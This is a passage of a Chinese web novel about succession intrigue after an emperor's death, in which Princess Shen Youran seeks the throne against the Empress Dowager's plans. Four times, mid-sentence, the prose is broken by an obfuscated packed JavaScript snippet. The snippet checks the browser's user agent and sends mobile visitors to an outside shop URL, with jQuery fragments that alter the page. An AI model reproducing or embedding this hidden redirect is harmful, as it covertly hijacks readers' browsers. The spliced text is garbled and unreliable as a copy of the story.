她的眼里,只有门口被白布装饰的栖梧宫。 若要让沈悠然用一种颜色来形容栖梧宫,那她会用暖黄,因为无论何时她想要去栖梧宫找父皇和母后,都总有一盏灯亮着,替她指引着来路和归途。 而不是这样刺眼的白色。 白色的灯笼,白色的帷幔,用白布挽花覆盖着的……棺椁。 沈悠然不喜欢这样的白色,总觉得看起来轻飘飘的,好似风一吹,就会把整个栖梧宫都吹走,让她想抓也抓不住。 她跌跌撞撞地上前,差点被门槛绊倒。 在她学会走路之后,已经很久没有被栖梧宫的门槛绊倒过了,她总是吹嘘着哪怕是被人蒙上了眼睛,也知道栖梧宫该怎么走。 盛兴帝和赵皇后的棺椁就在栖梧宫的大殿里摆着,并行而放,就像沈悠然每次离开的时候,她们二人总是这样手牵着手,站在殿门看着她离开。 沈悠然哆嗦着从一旁的宫女那里取过香,朝着二人的方向,恭恭敬敬地磕了三个响头。 她觉得总觉得自己的眼泪又要忍不住了,但这次,她也不想再忍了。 这是最后一次,她最后一次地纵容着自己流泪。 往后,她不会再哭了。 * 沈悠然上完香之后,就出了大殿。 沈嘉正在旁边看着摇摇欲坠的她,有些担忧。 “昭懿,接下来,你打算……” “十四叔,我想去看看皇嫂,也不知道皇嫂身体怎么样了。” 虽然看起来仍然很让人担忧,但沈悠然一开口,语气和从前都不一样了。 从前她是父母和胞兄宠爱的帝姬,说话的时候总是不由自主地尾声上扬着,特别是笑着说话的时候,总是让人忍不住和她一起开心。 但现在,大体还是一样的,沈嘉正也具体说不出来到底是哪里变了,就总觉得……好像有几分像皇兄的影子。 “你放心吧,你皇嫂那里没什么大问题。”沈嘉正先提议,“不如你先和十四叔去慈宁宫吃点东西,你现在这样,看起来不大好。” 沈悠然摇摇头,坚持要去东宫看看。 沈嘉正拗不过她,也就没在阻拦,“你先在这等着,我让人找顶软轿来,你现在这样,怕是都走不到东宫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002065|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人就先倒下了。” 这次,沈悠然没有再拒绝他。 她本在佘山淋了雨发热,紧接着又是一连串的打击,吃不好也睡不好,身体还能康健就怪了。 想要做的事还有很多,沈悠然不会在这个时候逞能。 “多谢十四叔了。”她小声道着谢。 看她脱力地靠在一旁的廊柱上,沈嘉正看她这副模样,叹了口气,在她的肩上拍了拍。 “有事的话,记得找十四叔。” 沈悠然点点头,没再多说话,一直等到软轿来。 她到东宫的时候,蔺朝暮还半躺在床榻上喝药。 看见沈悠然到访,她当即就要掀开被子起身相迎。 沈悠然当然不需要这样的见外,按住了蔺朝暮的手腕,问她身体怎么样。 阵阵药草的苦涩气息传来,蔺朝暮还没来得及说话,宫女又端着另一碗药上前。 就这样连着喝了三碗,才算停。 “让皎皎担心了,嫂嫂不碍事的。孩子也算懂事,没太折腾我,只不过就是有些急火攻心,慢慢养着就好了。” 看着她苦涩的笑,和一旁被摆成一排的药碗,沈悠然知道定不是她口中说的那般简单的。 她伸手,隔着被褥轻轻抚摸着蔺朝暮的肚子。 “懂事就好!若是这小家伙折腾你,你就拿笔记下来,等出生之后看我这个做姑姑的怎么收拾!” 蔺朝暮嘴角轻扯着,不免想到沈煦,若是他还在,这话一定会从他的口中说出来的。 她想哭,但她不敢哭,她怕自己一哭,失去了父母兄长的沈悠然就更忍不住了。 自己还有父母,尚未出生的孩子,但皎皎…… 知晓栖梧宫凶案当晚,蔺朝暮几近崩溃,但还是强撑着坠痛的肚子给蔺家送了信,让他们笼络一众正直的朝臣,在大殿上施压,不能让庄太后将此事推到沈悠然身上。 毕竟沈照是她的亲侄孙,而沈悠然一直不大受她喜爱。 蔺朝暮知道一切不可能是沈悠然做的,她不能让沈煦唯一的妹妹就这样不明不白地受冤屈。 在得知是靖王帮忙放她出来之后,蔺朝暮感慨着好歹还有一个靠谱的长辈。 但她和沈嘉正之间没有什么亲情,有些话沈悠然不去想,她却不得不提出来。 “皎皎,虽然这个时候提起这个话题太过无情,但嫂嫂有句话,不得不说。” “父皇故去,你两位兄长也不在了,你有没有想过,这皇位会落在谁头上。” 皇位吗? 其实都不用问沈悠然,哪怕是这几日东宫中的下人也明白,比起蔺朝暮腹中那尚未出事的孩子,还有一个更适合的人选。 靖王,沈嘉正。 他是太后嫡子,又是一个足以担事的壮年男子,简直是再合适不过了。 蔺朝暮见沈悠然迟迟不语,有些焦急地攥着沈悠然的手腕。 “皎皎,若是十四叔坐上那个位置,那我肚子里的孩子他来说,就是一个威胁。” “你能不能,能不能去找他,或者是找太后求求情,让他们……”放过这个孩子。 蔺朝暮的话还没说完,就感觉到沈悠然抽出了她的手腕,反手覆在了自己的手背上,像是安抚一般地轻拍着。 “嫂嫂,你说……这个皇帝,我来当怎么样?” 76. 第 76 章 沈悠然做皇帝? 蔺朝暮下意识地就觉得惊恐,但话到嘴边了,又觉得好像没有什么理由去反对。 如果说她肚子里生出来的孩子是个女儿一切或许还有转圜的余地。 倘若是个男孩儿,前太子的遗孤,这个身份的存在就足以让所有人觉得尴尬。 蔺朝暮不敢去赌人心,倘若她处在庄太后的位置上,一边是自己的亲儿子,另一边是毫无血缘关系的重孙,她也会选前者。 又假设靖王并无即位之心,但一个襁褓中的婴儿又如何能承担得起家国大任?到时候由重臣辅国,日子长了难免生出异心。 一个年幼无知的帝王只会让家国动荡。 比起这两种可能,作为沈煦亲妹妹,沈悠然是对蔺朝暮来说,最好的人选。 只是她一个女子想要上位,势必会受到很多的责难。 沈悠然安慰她,大盛历史上又不是没有出过女皇帝。 蔺朝暮微微愣神,她是知道那段历史的,可那时候的沈氏皇室除了那位先祖女帝,几乎已经没有人活着了,百姓和朝臣们没了办法,才只能让一个女人即位。 而现在,有更为合适的沈嘉正和蔺朝暮肚子里的孩子,沈悠然想要争取帝位并非易事。 沈悠然也是明白,她想要的东西有多么难得,但他没有别的选择。 仅凭一个庄家,铁定不敢大胆设下埋伏诛杀严晟和哥哥,他的背后一定还有人。 一个连哥哥的太子身份都不怕的人。 若自己还只是一个帝姬,那更别想要调查清楚这背后的关系了。 为了真相,也为了能够让庄家得到惩罚,她只能往上爬。 况且就是这么巧,在庄家出事之后,沈照也紧跟着杀父弑母,她隐隐觉得这两件事之间藏着她还没想明白的联系。 所以她需要权势,需要能够查清楚一切的力量。 除此之外,她心中还有另外的考量。 从前只呆在宫中的时候,只能看见头顶的天地,但真正走出去看过了,她意识到父皇和哥哥,还有喜好游山玩水广交朋友的十四叔,都不适合当皇帝。 又或者说,他们不适合在现在当皇帝。 盛世才需要他们这样仁慈的人当皇帝,而如今的大盛就像是被虫蚁从内部开始啃食过的木块,只能维持一个表象。 庄家从一个外戚逐渐被纵容到敢杀太子这件事上,就足以看得出来。 沈悠然现在怀疑,当初那个马场的管事,也根本不是什么内务府刻意恭维,而是庄明阳早就卖过官职了,所以知道随意给一个罪人洗白摇身一变成了马场管事,不过是他勾勾手指头的事。 或许魏淳一开始也是和他有所勾结,但因为庄明阳发现了更赚钱的逍遥散,他不再需要魏淳这个棋子,但又担心事情败露,只好找机会灭口。 如今的大盛,不能再对这些恶人们“网开一面”,需要的是一个手段强硬的“暴君”。 而沈悠然觉得,自己是最合适的。 * 因为盛兴帝的崩逝,朝堂上一时间群龙无首。 先帝临去世的那几年,醉心于床榻之事,身为皇后有责任和义务督促皇帝勤政,但屡次三番都被先帝打发走了。 庄太后无法,只得让人搬着奏折,亲自到先帝床边念给他听。 后来先帝烦了,索性让彼时的庄皇后自己批阅,遇见拿不定主意的再去寻他。 是以虽然是女子,但庄太后也有过几年的亲政经验,此时也坐在朝堂之上听政。 待到要下朝之时,她轻咳了一声示意,立马有人上前。 “太后,臣有要事启奏。” “先太子与先帝先后遇难,此乃我大盛之哀,让臣悲之痛之。然臣日夜难眠心中有愧,时时想起先帝在时告诫诸位大臣要以百姓为首,不得不在此时进言,还请太后娘娘早日放下心中哀痛,以大盛百姓为首,安稳时局,早日立下新帝人选。” 此言一出,有几人附和着跪下,嘴里跟着他的话大喊。 “请太后娘娘早日放下心中哀痛,以大盛百姓为首,安稳时局,早日立下新帝人选。” 庄太后闻言,佯装悲痛地抽噎了几声,随后才问他几人心中可有合适人选。 本就是授庄太后之意才上前的,此时接过她递来的梯子,直言靖王是最适合即位的。 剩下的大臣们面面相觑,各有自己心中的成算。 一部分虽不是庄太后的人,但也明白靖王无论是出身还是阅历,都很适合即位,自然不会反对。 一部分是传统派,认为皇位早在盛兴帝即位的时候就归属于盛兴帝帝这一脉,既然太子妃腹中还留有血脉,那就应该传给太子妃肚中的孩子。 还有一小部分同靖王没什么交情的,心里念着与其扶持一个靖王,倒不如去支持太子妃肚中子嗣,说不准还能捞得个从龙之功,往后成为幼帝的肱股之臣。 一时间朝堂上隐有微词,但谁都能看出来,庄太后肯定是更属意自己的儿子。 此时再出来提太子妃肚子里的孩子,那就是摆明了要和庄太后撕破脸皮。 就在大家伙儿都面面相觑着等待有人能开口时,季丞相撩起自己的官袍,上前一步跪在庄太后的面前。 作为朝中重臣,季丞相的话一直都很有分量。 见他站了出来,庄太后心中不担心。 一个连话都说不了的皇帝能带给大盛的,只有浮躁的臣心和动荡的时局,季时是贤臣,不会看不懂这个道理。 有了他的支持,一切就显得更顺理成章了。 庄太后隐隐有些激动,当年她就一直想让自己的儿子沈嘉正上位。 但奈何沈嘉正从先帝那里没能继承点好性子,贪玩的本性倒是遗传了个十成十。 当年先帝就曾为了能够和后妃有更多的时间厮混,连批阅奏折一事都可以交由她人。 沈嘉正也是这般,说起当皇帝来,第一个想到的不是滔天权势,而是先帝被朝臣堵在书房里,让他势必要解决地方水源问题的样子。 盛兴帝因生母早逝的原因,本就早慧,在沈嘉正出生之后更是意识到自己的处境尴尬,一方面是感念庄太后的养育之恩,一方面也是为了讨好,处处维护沈嘉正。 这就让沈嘉正更没了当皇帝的想法——当皇帝还要早起晚归,要肩负百姓的生计问题,而当个闲散王爷什么也不用做,还有皇兄给他兜底。 当年他极力反对的时候,就曾被庄太后指着鼻子质疑过怎么会生出这样一个没有野心的儿子来。 而现在,养子一家死了,亲子是唯一合适的人选…… 一想到这里,庄太后不禁坐直了身子,浅笑着等待季丞相开口。 “禀太后娘娘,臣以为,新帝的人选,还有……” 他的话头不对,庄太后敏锐地察觉到了,但却来不及阻止。 “还有先帝嫡女,昭懿帝姬!” 此言一出,朝堂上下皆是一片哗然。 “昭懿帝姬?帝姬?一个女子当皇帝?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006294|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“季老怕不是年纪大了,糊涂了吧?” “皇室血脉固然重要,但昭懿帝姬一介女子,如何能当新帝?” “这季老头肯定疯了……” 周遭的议论声此起彼伏,甚至有人在揣测季时是不是因为看中他的先帝突然崩逝,怕自己得不到重用了,才去推选一个女子上位。 太子妃肚中孩子尚未知是男是女,若是生了个女儿出来,那位置多半还是会回到靖王手中。 与其现在冒着得罪庄太后的风险去赌太子妃肚中孩子性别,直接推选一个好拿捏的女子上位,似乎也是一个不错的选择。 一些心事活络的,当即就觉得季丞相这是姜还是老的辣。 只可惜了,昭懿帝姬是个女子。 女子怎么能当皇帝呢? 也不知道是谁没控制住自己嘟囔的声音,这一阵带有嗤笑般的抱怨声,在所有人的耳畔响起。 季时在昨夜听到沈悠然的话时,也是这么想的。 因为盛兴帝的离世,整个朝野上下动荡不安,朝中诸事皆由庄太后和几位大臣共同商议。 作为丞相,季时每日都得先过一遍折子,将其按照紧急程度分门别类,第二日呈交给太后。 正要歇下的时候,就听门房来报,说昭懿帝姬来访。 一开始他还以为帝姬是因为悲愤来找孙女儿诉苦的,但却看见带着帷帽一袭黑衣的昭懿帝姬踏进书房门,才知她找的确实是自己。 这番低调行事,让季时不免也重视起来。 直到听见沈悠然想让他在早朝的时候替她开口争皇位时,还不慎打碎了一个砚台。 “可、可帝姬……帝姬如何能做得皇帝呢?” 他的这番话,沈悠然没觉得意外,指了指他手侧的折子。 “敢问季大人,这折子是递给谁看?” “如今朝政由太后代管,自然是写给太后看的。” “太后亦是女子,为何折子还要交由太后?” 季时下意识地就反驳,“那是因为如今朝堂群龙无首,太后曾协助先帝处理政事,自然是该上呈给太后。” 话一说出口,他意识到不对。 太后是女子,但太后因为从前代管时未曾出过差错,甚至有不少的决策让季时也忍不住叫好。 譬如从前地方税收账目时常混乱不清,庄太后便下令,地方守军的军饷有一部分由地方关税承担。 这样一来,地方守军自然而然就会成为一个监督者,倘若有人想要从中牟取暴利,首先就过不了地方守军这一关。 这样一来,既解决了朝廷离得太远无法及时督查的问题,又能节约一部分的军饷支出。 是以如今让太后参政,朝堂上下都没什么意见。 如果他反对的只是一个昏庸无能的帝王,那如果一个人能做到很好,是否还要去在意是男是女呢? 见季时陷入了沉思,沈悠然趁热打铁。 “我虽不如父皇和兄长擅长权谋之术,但我知用人,一个好的将军不看他武功有多高强,而是看他调兵遣将的能力。” “行兵打仗非一人之事,而同样的,家国之事也是一样。” 她掏出一封折子递到季时面前,言辞恳切。 “季丞相,从前天灾之时,我大盛先祖以女儿身带领众百姓与天抗争,亦能为我大盛博出一条生路。” “如今我沈悠然以沈家先祖和我父兄的名义起誓,若我为大盛帝王,那我便……” “只做大盛的帝王。” 77. 第 77 章 季时没想过仅凭今日这一言就能顺利地让昭懿帝姬当上皇帝。 今日不过只是抛出一个鱼饵,告诉朝臣昭懿帝姬亦有争帝位之心。 若是有人支持,昭懿帝姬的上位之路会好走许多。 但他确实没有想过,第一个站出来声援他的,居然会是靖王。 那个最有可能当皇帝的靖王。 “儿臣以为,季大人之言不无道理。” “昭懿乃皇兄血脉,名正言顺!况且昭懿帝姬自幼便心善,从不以帝姬身份强压百姓奴仆,想必若是即位,也会以大盛百姓为先。” 见自己的亲儿子又一次要将她的满盘谋划弃于不顾,庄太后当即就沉下了脸。 “够了!”她低声轻斥,脸色铁青。 “新帝人选一事兹事体大,容本宫同几位重臣好好商议之后,再议。” “诸位爱卿若是无事启奏,那便退朝吧。” 嘴上如此说着,但庄太后已然起身,步伐快得像是怕谁叫住她要当成议出个结果才行,大臣没也没敢再开口说什么。 只能紧跟着庄太后的步伐退朝。 出大殿的时候,没人敢上前同季时并行,生怕就此被算作季时、又或者该说是昭懿帝姬的党羽。 如今朝堂上最大的还是庄太后,不想轻易地就撕破脸。 众人心思各异,暗地里盘算着自己的想法,甚至不敢同往日里交谈甚欢的同僚多说几句,怕就此引火上身。 本就是一群人精,此时更是将察言观色做到了极致。 季时没去理会那些探究的目光,反正他独来独往惯了,有时候没那么多人情往来,反倒好做事。 不用像先帝那样,处处被人情掣肘。 比起旁人的看法,他更在意的,是被庄太后叫走的靖王。 或许是风沙太大,季时忽然有些迷了眼,下意识地就抬头看了眼天。 日头正盛,烈日照耀着大地,似乎要让所有隐藏在黑夜里的东西都无处遁形,还天下一个光明。 他不禁在心里低声念叨。 明珠,你若是在天有灵的话,就帮帮父亲,让父亲选择正确的人吧。 * 沈嘉正幼时有很长一段时间都想不明白,自己到底是作为母后的儿子,还是作为一个皇位的继承人被生出来的。 他有一个哥哥,后来听人说,那不是他的亲哥哥,是寄养在母后名下的孩子。 但是不要紧,沈嘉正不在乎这些。 从小母后对他就非常严格,自启蒙之后,每日寅时他就要起来苦读,每日里三位师傅轮流着给他授课,但他却不能休息。 后来年纪大了些,母后便让他每五日就要交一篇策论。 沈嘉正贪玩,时常临了才想起,脑子里又全都被上树逗鸟下河捉鱼占据了,空荡荡的什么都写不出来。 但皇兄会帮他,皇兄有本事,脑子灵活,无论母后布置的什么策论都能写得出来。 皇兄还有手上的本事,模仿起笔迹来,连沈嘉正自己都看不出来。 一直到皇兄去世之前,庄太后都未曾发现这兄弟俩的小把戏。 也得益于拥有这么一个处处都会保护自己的哥哥,虽然是在庄太后严苛的教育下,但沈嘉正还是能够顺利地长成一个爱好自由的人。 庄太后也明白他的性子,与其逼迫他让他再次以死想挟拒绝皇位,还不如换个法子,以柔克刚。 回宫的路上人多嘴杂,不好多议此时,庄太后一直等到回了宫,才长叹了一口气。 “正儿,如今你兄长尸骨未寒,你就眼睁睁地看着他心心念念的大盛,就这么动荡下去吗?” 沈嘉正替母后倒茶的动作一顿,想到自己的那位皇兄,心中还是不免觉得有些遗憾的。 “皇兄他……可惜了,太可惜了。” 但在庄太后眼中不觉有什么可惜。 从前和这个养子还是有过一段母慈子孝的温情时刻的,但那时候她没有亲生孩子,对那孩子好点也无妨。 但一个宫女肚子里爬出来的孩子,如何能跟她的正儿比呢? 她承认自己后来对盛兴帝不如从前上心了,但那都是人之常情,普通百姓家在长子幼子间尚且做不到公平,更遑论一个养子一个亲子了。 更何况盛兴帝也不是真的处处尊重她这个养母,年后庄家的事,若不是自己出面,他怕是真的还敢因为一个马场的管事,去查庄家。 这样的人死掉了,有什么好可惜的。 但庄太后不能表现出自己的暗喜,只能一副苦口婆心的模样,劝说着沈嘉正替那个他敬爱的皇兄,坐上皇帝的位置。 对于母后的盘算,沈嘉正心里一清二楚,嬉笑着和她打哈哈。 “儿子觉得,昭懿也算是不错。” 整个皇室的下一辈里,沈嘉正最喜欢沈悠然,因为她和自己很像。 或者说,她是自己最想要成为的模样。 她是帝后唯一的女儿,倘若自己的父亲也能像皇兄那样当个好皇帝,那自己也会和昭懿一样,是个无忧无虑的皇室子弟。 上面有一个疼爱自己的兄长,两个人之间没有猜忌,不会有人在耳边说一些诸如“你的兄长会抢走你所以东西”之类的话。 不用好好学习,反正无论怎么样,都会有哥哥和父母护着。 只是可惜了,昭懿居然想要当皇帝。 虽然这是季时提出来的,但一个女子当皇帝太过惊世骇俗,如果不是昭懿私下说过什么,姓季的老头怎么敢提。 沈嘉正在心底感慨着沈悠然一事被猪油蒙了心,但也仅仅只可惜了那么一瞬。 倘若不是她,这个皇帝怕是要落在自己头上了。 见他又是这般无所谓的态度,庄太后不禁气从中来。 “她沈悠然想做皇帝,简直是异想天开!这是沈家的皇位,怎么能落在她一个小丫头身上。” 沈嘉正轻嗤了一声,沈家祖上,又不是没出过女皇帝。 但他知道,想要打消母后的念头,拿先祖的例子根本不管用。 他有最有效的法子。 “母后,你可是忘了,儿子是当不了皇帝的。” 他嘴角扯出一个笑来,平日里见谁都是一番笑脸的模样,此时居然笑得有些瘆人。 庄太后身边的常嬷嬷本是进殿来给庄太后熏过的艾草枕,突然被他的这个笑惊得打了个寒颤。 母子二人看向她,不约而同地没再继续谈话。 陪着庄太后这么多年,一路做到了大嬷嬷的位置,常嬷嬷最是懂得看脸色。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012417|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >放下东西之后,她就出了门,更是赶走了附近的内侍们。 待外面的动静消弭之后,沈嘉正才又开了口,说出让庄太后觉得刺耳但又不得不面对的现实。 “您难道忘了,儿子不会再有子嗣了?” 庄太后如何能忘呢? 当年她失去了第一个孩子后,才意识到这个后宫是个吃人的地方,不仅吃她们这些女子的血肉,还会吞噬她子嗣的骸骨。 为了保护好不容易又得来的沈嘉正,直到先帝崩逝之前,她都对外做出了一副更属意养子的模样。 也顺理成章地将那些仇恨沈嘉正的目光,转移到了那个贱人生的孩子身上。 那日在马场围猎的时候,她甚至还希望若是真的有人下手就好了,这样她既能保全慈母的名声,让颇有才能的养子继续心甘情愿地替自己儿子卖命,又能替自己的儿子扫清障碍。 但她没想到的是,确实有人刺杀四皇子,但十四皇子救兄心切,仗着自己擅骑射,纵马飞扑,活生生将刺客踩死在自己的马蹄之下。 十四皇子也因此坠马,受了伤。 外人都以为那次坠马只是伤了右腿,但庄太后瞒下了所有人——因为马儿受惊,在慌乱之时踩在了因坠马而来不及躲避的沈嘉正身上,他往后再也不能有子嗣了。 恰逢那会儿沈沁出生,她生母难产而亡,便顺理成章地对外宣称沈嘉正因沈沁生母的崩逝而悲痛,无心再娶。 有了沈沁的存在,也不会有人去怀疑沈嘉正能不能生孩子。 一想到这里,庄太后对于躺在棺材里的那个人,更加怨恨了。 凭什么他就可以儿女双全,而正儿这辈子都不会再有孩子了。 凭什么!凭什么!他的女儿还想要来和正儿抢皇位!痴心妄想! “子嗣一事,往后从宗室过继一个便是。” 见沈嘉正还要再拒绝,庄太后没心思再同他辩论,借口自己累了,想休息,让他退下。 但转头她就给自己在朝中的布局送了信,让他们在明面上支持沈悠然。 当年让养子给自己的儿子当靶子时,她就用过这一招。 真正聪明的人是不会一开始就将自己的目的告诉其他人,她得先搅浑这个战局,让其他人先斗,斗完了之后再登场。 正儿不是说那个小丫头的出生合适吗?她倒要看看,沈悠然和东宫那个丫头肚子里的孩子,哪个更名正言顺。 没有做母亲的人不会明白,再浓厚的情谊,碰上自己的孩子,也要让道。 她叫来常嬷嬷,往东宫里安插了几个人手。 听说太子妃近日里食难下咽,夜里也总是不得眠,想必精神已经很脆弱了。 若是这个时候再听见一些不好的传言…… 庄太后轻捻着手中的棋子。 这是从前先帝送来的,彼时两人还算恩爱,先帝便将藩国进贡来的着一套琉璃棋送给了她。 她甚是喜爱,一开始还总是缠着先帝手谈,后来就成了闲暇时候和自己对弈。 因为有些年头了,这么长时间的摩挲,棋子表面已经有了磨损,摸起来不太光滑,差点磨了她的手。 庄太后轻哂两声,随手就将棋子扔在了地上。 不过是个棋子,用过了,就该扔掉了。 78. 第 78 章 蔺朝暮觉得身边的人开始变得有些不对劲。 朝堂上的纷争她知晓,自从沈悠然透露过那个念头之后,二人也在私下里拉拢过几个朝中重臣站队。 但实际上大部分的人都是并未表态。 沈悠然也理解一切未明的情况下,明哲保身才是最好的选择,换做是她,或许也会这样做。 蔺朝暮却不免有些焦急,别说是靖王了,就连是跟自己腹中的孩子比,她都觉得沈悠然胜算不大。 原就接连受了打击,现在又忧思过重,蔺朝暮当晚就见了血。 沈悠然勒令让她先安心养胎,朝堂之事短时间内不会有结果的。 但彻底放开手之后,她又隐约察觉到身边的人似乎不太想让她远离这些纷争。 成亲之后没多久,她就跟随沈煦外出巡查,所以东宫大多数的内侍她都觉得眼生,她甚至都有些怀疑之前是否见过这些人。 因为需要静养,所以在蔺朝暮身边并没有太多的事情可以做,只是守在她身边以防有需要的时候没人在。 这就让那些伺候的人多了很多碎嘴的时间。 有时候闭眼假寐的蔺朝暮,就从这些人嘴里听到了在她看来别有用心的话。 譬如昭懿帝姬时常前来,不过是为了试探太子妃肚子胎儿是否安好。 又譬如靖王会忌惮太子妃肚中的正统血脉,那同样想当皇帝的昭懿帝姬就不会了吗? 再譬如,昭懿帝姬是什么时候起了争夺帝位之心,是在太子死后,又或者说……在太子遇险之前就有此打算? 蔺朝暮佯装未闻,但却在沈悠然傍晚前来探望的时候,将外面的人支开了。 这样的把戏太拙劣,但凡是长了点脑子的人,都会猜到这是为了给靖王铺路的离间之计。 但庄太后不在意自己的小动作会不会让人看穿,人性又经不起考验,只要在蔺朝暮和沈悠然之间埋下怀疑的种子就够了。 只是她没想到的是,蔺朝暮不接招。 不是每个人都想让自己的孩子当皇帝,特别是现在这种时局动荡的时刻。 蔺朝暮扪心自问,如果腹中的孩子如今是十五六岁的年纪,她指不定会起自己的小心思去替自己的孩子争取。 可如今,一个尚未出世的孩子,最后会成为谁的刀,她也不敢去赌。 她是为了已故夫君唯一的妹妹,但也是为了自己的孩子。 沈悠然听完她的担忧,沉默了好半晌。 “嫂嫂别太忧心,待我去见过十四叔后,再议。” 庄太后的意思众人皆知,可十四叔又是什么想法呢?他也想要当这个皇帝吗? 沈悠然觉得或许十四叔或许和庄太后并非一心,他一直都说此生梦想是游遍大盛山川,未必就希望在那个椅子上困住。 她如今最大的敌人或许是庄太后,而不是十四叔。 替蔺朝暮掖好被子的一角后,沈悠然便起身打算要走,让她莫要忧心过度。 蔺朝暮起身要送,被沈悠然按住了。 “嫂嫂别担心了,我又不是小孩子了。”沈悠然出一个笑来,“宫里人这么多,我总不会还迷路了吧?” 虽然她已经尽力表现出了一副俏皮模样,但蔺朝暮觉得那笑就像是捏出来的笑脸面具一样,看不清她藏在底下的情绪。 蔺朝暮倒希望她永远是个孩子。 * 虽然朝堂上的人已经分别以沈嘉正和沈悠然为首分成了两拨明里暗里互相针对,但身为舆论中心的两人却看起来并没什么变化。 靖王府上的门房看见昭懿帝姬来访,径直将她带进了前厅。 “帝姬,我们家王爷说了,早就料到您会来此,事先已经嘱咐过了。” “您先在此处喝些茶水,老奴这就去禀告王爷。” 沈悠然颔首一笑,静静坐在客位上。 还没等来沈嘉正之前,先看见了一个熟人的身影。 当沈沁趾高气昂地走进前厅时,沈悠然恍惚间竟生出今夕是何夕的念头来。 上一次来靖王府的时候,哥哥还在,严晟……也还在。 那日虽然是沈沁的生辰,但沈悠然知道,她其实是不开怀的,十四叔又一年缺席了她的生辰宴。 那时候的沈悠然还是个被父母娇惯的帝姬,备受宠爱,春风得意。 而现在……两个人的好似倒转了一样。 “堂姐。”她不咸不淡地叫了一声。 但沈沁却没应。 因为从小嫉妒沈悠然家庭和睦,沈沁处处都和沈悠然争锋相对。 沈悠然得了帝后的赏赐的首饰,她必要缠着皇祖母给她置办一套头面;皇祖母带她见识进贡来的新鲜玩意儿,她也必定会带去沈悠然宫中炫耀一番;就连二人争论后皇祖母的偏帮,也会被视作胜利的号角。 这样的关系下,沈悠然从来未曾叫过一声姐姐,而沈沁也只会在告黑状的时候摆出一副替妹妹着想的贤姐模样。 这声堂姐,让沈沁的脚步一顿。 她急匆匆赶来,无非就是听下人说昭懿帝姬上门了,想要看看沈悠然失去父母后狼狈憔悴的模样。 她觉得自己应该是要开心的,看到沈悠然和自己一样没了父母宠爱后,她应该开心的。 但亲眼见到之后,又觉得并不如想象之中的欣喜。 沈沁撇撇嘴,心想或许是因为皇伯父和皇伯母对她还是很好,让她因为二人的离去有些惆怅吧…… 想到这里,沈沁眼眶有些酸涩,但又觉得自己本是来看戏的,居然先沈悠然一步哭了出来,让她觉得丢脸。 她双唇颤抖着,欲言又止地看向沈悠然。 沈悠然觉得奇怪,但想到平日里她的习惯,只觉得她或许是在心里捉摸着要怎么出言羞辱。 若是从前沈悠然还有同她斗嘴的心思,但现在只觉得无趣,只低头饮茶,似是把她当做无物。 沈沁察觉到被轻视,咬着唇咚咚地跑掉了。 看见沈沁莫名其妙地来,又莫名其妙地走,沈悠然觉得自己心中已经没有什么波澜了。 反正此番是来找沈嘉正的,不是沈沁。 沈嘉正来得不算快,进门的时候,还在整理着自己的袖口。 他说是不小心打翻了作画用的颜料,收拾的时候耽搁了时间。 沈悠然知道他有将所见山水汇于笔墨之间的习惯,再加上瞥见了衣衫下摆的白色粉末,猜想或许来自什么珍稀贝类,并未觉得奇怪。 “等十四叔,不算耽搁时间。” 沈嘉正也没坐在主位,而是在沈悠然身边。 “若是从前,昭懿你肯定会说着什么一寸光阴一寸金,让十四叔赔你几块银子才会罢休的。” 沈悠然一愣,而后浅浅笑着,“总不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015361|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直这般不懂事吧。” 沈嘉正叹了口气,换了个话题。 “昭懿来找十四叔,可是为了朝堂上的事?” 他单刀直入,沈悠然也就不讲究什么迂回婉转了。 “确实如十四叔所言,昭懿此番前来,是为了新帝人选。” “不知十四叔,可否属意帝位?” 前来送茶的仆从听得沈悠然这句话,不禁被吓得一哆嗦,盘中的茶盏朝着一侧倾斜,眼见着就要摔落在地。 沈嘉正眼疾手快地捞了一把,眨眼的功夫,茶杯稳稳当当地被放在了茶桌之上。 “下去。”他语气威严,“规矩你明白,别让本王在外面听到不该听的消息。” 奴仆脸色惨白,连滚带爬地出了门。 临走时还不忘把门带上。 